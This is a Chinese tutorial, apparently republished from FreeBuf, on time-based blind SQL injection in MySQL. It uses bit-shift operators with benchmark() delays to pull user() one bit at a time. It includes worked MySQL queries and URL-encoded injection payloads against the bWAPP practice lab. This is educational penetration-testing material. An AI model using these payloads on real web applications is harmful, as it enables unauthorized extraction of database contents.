使用MySQL位函数和运算符进行基于时间的高效SQL盲注

栏目: 数据库 · 发布时间: 5年前

内容简介:在2011年至2012年间,我曾对MySQL数据库集成的各种PHP应用程序进行了一系列的渗透测试。在此期间我发现,这些数据库大都易受到基于时间的SQL盲注攻击。但由于各种限制措施,想要利用它们并不容易。为此,我开始在网上寻求答案。偶然间,我翻阅到了一篇有关注:有关位功能和操作符的完整说明请参阅:右移位运算符会将二进制值1位的位数向右移位,如下所示:

在2011年至2012年间,我曾对 MySQL 数据库集成的各种 PHP 应用程序进行了一系列的渗透测试。在此期间我发现,这些数据库大都易受到基于时间的 SQL 盲注攻击。但由于各种限制措施,想要利用它们并不容易。为此,我开始在网上寻求答案。偶然间,我翻阅到了一篇有关 使用位移技术进行SQL注入 的文章。这篇博文向我们展示了如何使用“右移”运算符(>>),枚举从SQL查询返回值的二进制位。

注:有关位功能和操作符的完整说明请参阅: https://dev.mysql.com/doc/refman/5.7/en/bit-functions.html

右移位运算符会将二进制值1位的位数向右移位,如下所示:

mysql> select ascii(b'01110010');

+--------------------+

| ascii(b'01110010') |

+--------------------+

|                114 |

+--------------------+

1 row in set (0.00 sec)

mysql> select ascii(b'01110010') >> 1;

+-------------------------+

| ascii(b'01110010') >> 1 |

+-------------------------+

|                      57 |

+-------------------------+

1 row in set (0.00 sec)

这可用于在SQL盲注时枚举字符串的字符。如果数据出现在完整的ASCII表中,则每个字符最多可以枚举8个请求。

这里我们希望提取的数据是select user()查询返回的第一个字符。

使用MySQL位函数和运算符进行基于时间的高效SQL盲注

第1位:

我们首先找到第一位的值:

????????

有两种可能性:

0(Decimal value:  0 ) // TRUE condition

1(Decimal value:  1 ) // FALSE condition

mysql> select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| 0                                                                                    |

+--------------------------------------------------------------------------------------+

1 row in set (2.35 sec)

SQL查询导致时间延迟,因此条件为TRUE,第一位为0

0???????

使用MySQL位函数和运算符进行基于时间的高效SQL盲注

第2位:

现在我们来查找第二位的值,和上面一样有两种可能性:

0 0 (Decimal value:  0 ) // TRUE condition

0 1 (Decimal value:  1 ) // FALSE condition

mysql> select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| false                                                                                |

+--------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查询没有发生时间延迟,因此条件为FALSE第二位为1

0 1 ?????

使用MySQL位函数和运算符进行基于时间的高效SQL盲注

第3位:

现在我们查找第三位的值,同样两种可能性:

01 0 (Decimal value:  2 ) // TRUE

01 1 (Decimal value:  3 ) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| false                                                                                |

+--------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查询没有时间延迟,因此条件为FALSE第三位为1

01 1 ?????

使用MySQL位函数和运算符进行基于时间的高效SQL盲注

第4位:

现在我们查找第四位的值,两种可能性:

011 0 (Decimal:  6 ) // TRUE

011 1 (Decimal:  7 ) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| false                                                                                |

+--------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查询没有时间延迟,因此条件为FALSE第四位为1

011 1 ????

使用MySQL位函数和运算符进行基于时间的高效SQL盲注

第5位:

现在我们查找第五位的值,两种可能性:

0111 0 (Decimal:  14 ) /// TRUE

0111 1 (Decimal:  15 ) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false');

+---------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') |

+---------------------------------------------------------------------------------------+

| 0                                                                                     |

+---------------------------------------------------------------------------------------+

1 row in set (2.46 sec)

SQL查询导致时间延迟,因此条件为TRUE第五位为0

0111 0 ???

使用MySQL位函数和运算符进行基于时间的高效SQL盲注

第6位:

现在我们查找第六位的值,两种可能性:

01110 0 (Decimal:  28 ) // TRUE

01110 1 (Decimal:  29 ) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false');

+---------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') |

+---------------------------------------------------------------------------------------+

| 0                                                                                     |

+---------------------------------------------------------------------------------------+

1 row in set (2.44 sec)

SQL查询导致时间延迟,因此条件为TRUE第六位为0

01110 0 ??

使用MySQL位函数和运算符进行基于时间的高效SQL盲注

第7位:

现在我们查找第七位的值,两种可能性:

011100 0 (Decimal: 56) // TRUE

011100 1 (Decimal: 57) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false');

+---------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') |

+---------------------------------------------------------------------------------------+

| false                                                                                 |

+---------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查询没有时间延迟,因此条件为FALSE第七位为1

第四位必须为1

011100 1 ?

使用MySQL位函数和运算符进行基于时间的高效SQL盲注

第8位:

现在我们查找第八位的值,两种可能性:

0111001 0 (Decimal:  114 ) // TRUE

0111001 1 (Decimal:  115 ) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false');

+----------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') |

+----------------------------------------------------------------------------------------+

| 0                                                                                      |

+----------------------------------------------------------------------------------------+

1 row in set (2.33 sec)

SQL查询导致时间延迟,因此条件为TRUE第八位为0

0111001 0

使用MySQL位函数和运算符进行基于时间的高效SQL盲注

到这里我们就完整获取到了select user() 查询返回的第一个字符的二进制值,转换成十进制后为114。而114在ASCII表中表示的是 r 字符,因此该数据库用户名的首字母为r。

mysql> select user();

+----------------+

| user()         |

+----------------+

| root@localhost |

+----------------+

1 row in set (0.00 sec)

为了说明这种类型的SQL盲注攻击,我已向大家演示了如何在bWAPP易受攻击的应用程序上,枚举“select user()”返回的第一个字符的第一个和最后一个二进制位: https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/

1. 第一位SQLi字符串返回TRUE条件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23

使用MySQL位函数和运算符进行基于时间的高效SQL盲注

2. 第一位SQLi字符串返回FALSE条件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23

使用MySQL位函数和运算符进行基于时间的高效SQL盲注

3. 第八位SQLi字符串返回FALSE条件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23

使用MySQL位函数和运算符进行基于时间的高效SQL盲注

*参考来源: stealingthe  ,FB小编secist编译,转载请注明来自FreeBuf.COM


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Little Schemer

The Little Schemer

[美] Daniel P. Friedman、[美] Matthias Felleisen / 卢俊祥 / 电子工业出版社 / 2017-7 / 65.00

《The Little Schemer:递归与函数式的奥妙》是一本久负盛名的经典之作,两位作者Daniel P. Friedman、Matthias Felleisen在程序语言界名声显赫。《The Little Schemer:递归与函数式的奥妙》介绍了Scheme的基本结构及其应用、Scheme的五法十诫、Continuation-Passing-Style、Partial Function、......一起来看看 《The Little Schemer》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

SHA 加密
SHA 加密

SHA 加密工具